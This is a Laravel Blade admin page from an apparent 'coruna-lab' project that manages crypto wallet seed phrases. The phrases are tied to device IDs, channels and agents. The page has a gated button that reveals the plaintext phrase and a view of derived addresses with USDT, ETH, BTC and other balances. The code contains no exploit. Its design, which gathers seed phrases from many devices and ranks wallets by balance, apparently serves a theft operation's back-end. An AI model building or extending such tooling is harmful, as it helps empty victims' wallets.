Files
coruna-lab/resources/views/admin/mnemonics/index.blade.php
T
2026-09-29 05:25:55 +08:00

440 lines
16 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '助记词')
@section('content')
@php
$portal = $portal ?? 'admin';
$showOrigin = !empty($show_origin);
@endphp
<style>
.mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
margin-bottom: 10px;
}
.mn-wallet-meta { color: #666; font-size: 13px; }
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.mn-wallet-table th,
.mn-wallet-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.mn-wallet-table .addr-cell {
font-family: Menlo, Monaco, Consolas, monospace;
max-width: 360px;
vertical-align: middle;
}
.mn-wallet-table .addr-cell .addr-row {
display: flex;
align-items: center;
gap: 8px;
min-width: 0;
}
.mn-wallet-table .addr-cell .addr-text {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.mn-wallet-table .addr-cell .mn-explorer {
flex: 0 0 auto;
font-family: inherit;
white-space: nowrap;
}
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
.mn-inactive {
display: inline-block;
margin-left: 6px;
padding: 0 6px;
font-size: 11px;
line-height: 18px;
color: #cf8a00;
background: #fff7e6;
border: 1px solid #ffe0a3;
border-radius: 3px;
vertical-align: middle;
}
.mn-updating { color: #1e9fff; }
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
@foreach ($sources as $s)
<option value="{{ $s }}">{{ $s }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-mn-search">搜索</button>
@if(!empty($can_create))
<button type="button" class="layui-btn layui-btn-normal" id="LAY-mn-create">手动添加</button>
@endif
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
<script type="text/html" id="LAY-mn-ops">
@if(!empty($can_reveal))
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>
@endif
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json($google2fa_url ?? '')
});
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function coinVal(v) {
return (v === null || v === undefined || v === '') ? '—' : esc(v);
}
function explorerUrl(chain, address) {
var addr = String(address || '').trim();
if (!addr) return '';
var c = String(chain || '').trim().toUpperCase();
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
return '';
}
function addrCellHtml(r) {
var addr = r.address || '';
var url = explorerUrl(r.chain_type, addr);
var html = '<td class="addr-cell"><div class="addr-row">';
html += '<span class="addr-text" title="' + esc(addr) + '">' + esc(addr) + '</span>';
if (url) {
html += '<a class="layui-btn layui-btn-primary layui-btn-xs mn-explorer" href="' + esc(url) +
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
}
html += '</div></td>';
return html;
}
function renderWalletsHtml(payload) {
var rows = (payload && payload.addresses) || [];
var html = '<div class="mn-wallet-wrap">';
html += '<div class="mn-wallet-hd">';
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
(payload.source ? ' · ' + esc(payload.source) : '') +
' · 关联地址 ' + rows.length + ' 个' +
(payload.updating ? ' · <span class="mn-updating">正在更新</span>' : '') +
'</div>';
if (rows.length && payload.refresh_url) {
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
}
html += '</div>';
if (!rows.length) {
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
return html;
}
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th><th>SOL</th>' +
'<th>操作</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
var inactive = r.active === false;
html += '<tr>' +
'<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' +
'<td>' + esc(r.chain_type || '—') +
(inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' +
addrCellHtml(r) +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
'<td class="coin-cell">' + coinVal(r.sol) + '</td>' +
'<td>—</td>' +
'</tr>';
});
html += '</tbody></table></div></div>';
return html;
}
function applyWalletsHtml(layero, payload) {
var html = renderWalletsHtml(payload);
var $wrap = layero.find('.mn-wallet-wrap').first();
if ($wrap.length) {
$wrap.replaceWith(html);
} else {
var $content = layero.find('.layui-layer-content').first();
if ($content.length) $content.html(html);
else layero.html(html);
}
bindRefresh(layero, payload);
}
function bindRefresh(layero, payload, auto) {
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
runWalletRefresh(layero, payload, false);
});
if (auto && payload.updating && payload.refresh_url) {
runWalletRefresh(layero, payload, true);
}
}
function runWalletRefresh(layero, payload, auto) {
var btn = layero.find('#LAY-mn-refresh-bal');
if (!payload.refresh_url) return;
if (btn.prop('disabled') && !auto) return;
btn.prop('disabled', true).addClass('layui-btn-disabled');
var loadIdx = auto ? null : layer.load(1, { shade: 0.1 });
$.ajax({
url: payload.refresh_url,
method: 'POST',
data: { _token: token },
success: function (res) {
if (loadIdx != null) layer.close(loadIdx);
if (!res || res.code !== 0) {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
if (!auto) layer.msg((res && res.msg) || '刷新失败');
return;
}
var next = res.data || {};
next.updating = false;
applyWalletsHtml(layero, next);
if (!auto) {
var ok = Number(next.refreshed || 0);
var fail = Number(next.failed || 0);
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
var cooldown = Number(next.retry_after || 60);
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, cooldown * 1000);
}
},
error: function (xhr) {
if (loadIdx != null) layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429) {
if (!auto) layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
payload.updating = false;
applyWalletsHtml(layero, payload);
if (!auto && retry > 0) {
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
}
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
payload.updating = false;
applyWalletsHtml(layero, payload);
if (!auto) layer.msg(body.msg || body.message || '刷新失败');
}
});
}
function openWallets(row) {
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: row.wallets_url,
method: 'GET',
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var payload = res.data || {};
if (!payload.refresh_url && row.refresh_url) {
payload.refresh_url = row.refresh_url;
}
layer.open({
type: 1,
title: '关联钱包 — 助记词 #' + row.id,
area: ['920px', '480px'],
shadeClose: true,
content: renderWalletsHtml(payload),
success: function (layero) {
bindRefresh(layero, payload, true);
}
});
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
}
});
}
table.render({
elem: '#LAY-mn-list',
id: 'LAY-mn-list',
url: @json(route($portal.'.mnemonics.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 140 },
{ field: 'mnemonic', title: '助记词', width: 160 },
{ field: 'device_key', title: '设备 ID', minWidth: 200 },
@if($showOrigin)
{ field: 'origin_device_key', title: '原设备', minWidth: 200, templet: function (d) {
return d.origin_device_key ? d.origin_device_key : '—';
}},
@endif
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-mn-search)', function (data) {
table.reload('LAY-mn-list', { where: data.field, page: { curr: 1 } });
return false;
});
@if(!empty($can_create))
var createUrl = @json(route('admin.mnemonics.store'));
var createSources = @json($create_sources ?? []);
function ajaxMsg(xhr, fallback) {
var body = (xhr && xhr.responseJSON) || {};
if (body.msg || body.message) return body.msg || body.message;
if (body.errors) {
var key = Object.keys(body.errors)[0];
if (key && body.errors[key] && body.errors[key][0]) return body.errors[key][0];
}
return fallback;
}
function openCreate() {
var options = createSources.map(function (s) {
return '<option value="' + esc(s) + '">' + esc(s) + '</option>';
}).join('');
layer.open({
type: 1,
title: '手动添加助记词',
area: ['560px', 'auto'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-mn-create-form" lay-filter="LAY-mn-create-form">' +
'<div class="layui-form-item"><label class="layui-form-label">设备 ID</label><div class="layui-input-block">' +
'<input name="device_id" class="layui-input" placeholder="设备 ID 或数字主键" autocomplete="off"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">来源</label><div class="layui-input-block">' +
'<select name="source"><option value="">请选择</option>' + options + '</select></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">助记词</label><div class="layui-input-block">' +
'<textarea name="mnemonic" class="layui-textarea" placeholder="12–24 个单词,空格分隔" rows="4"></textarea></div></div>' +
'</form>',
success: function (layero, index) {
form.render('select', 'LAY-mn-create-form');
var maxH = Math.max(240, window.innerHeight - 140);
var $content = layero.find('.layui-layer-content');
if ($content.outerHeight() > maxH) {
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
}
},
btn: ['保存', '取消'],
yes: function (index) {
var payload = {};
$('#LAY-mn-create-form').serializeArray().forEach(function (x) { payload[x.name] = x.value; });
if (!payload.device_id) return layer.msg('请输入设备 ID');
if (!payload.source) return layer.msg('请选择来源');
if (!payload.mnemonic) return layer.msg('请输入助记词');
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: createUrl,
method: 'POST',
data: {
_token: token,
device_id: payload.device_id,
source: payload.source,
mnemonic: payload.mnemonic
},
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败');
}
layer.close(index);
layer.msg(res.msg || '已添加');
table.reload('LAY-mn-list');
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg(ajaxMsg(xhr, '添加失败'));
}
});
}
});
}
$('#LAY-mn-create').on('click', openCreate);
@endif
table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'reveal') {
revealMnemonic(obj.data);
return;
}
if (obj.event === 'wallets') {
openWallets(obj.data);
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush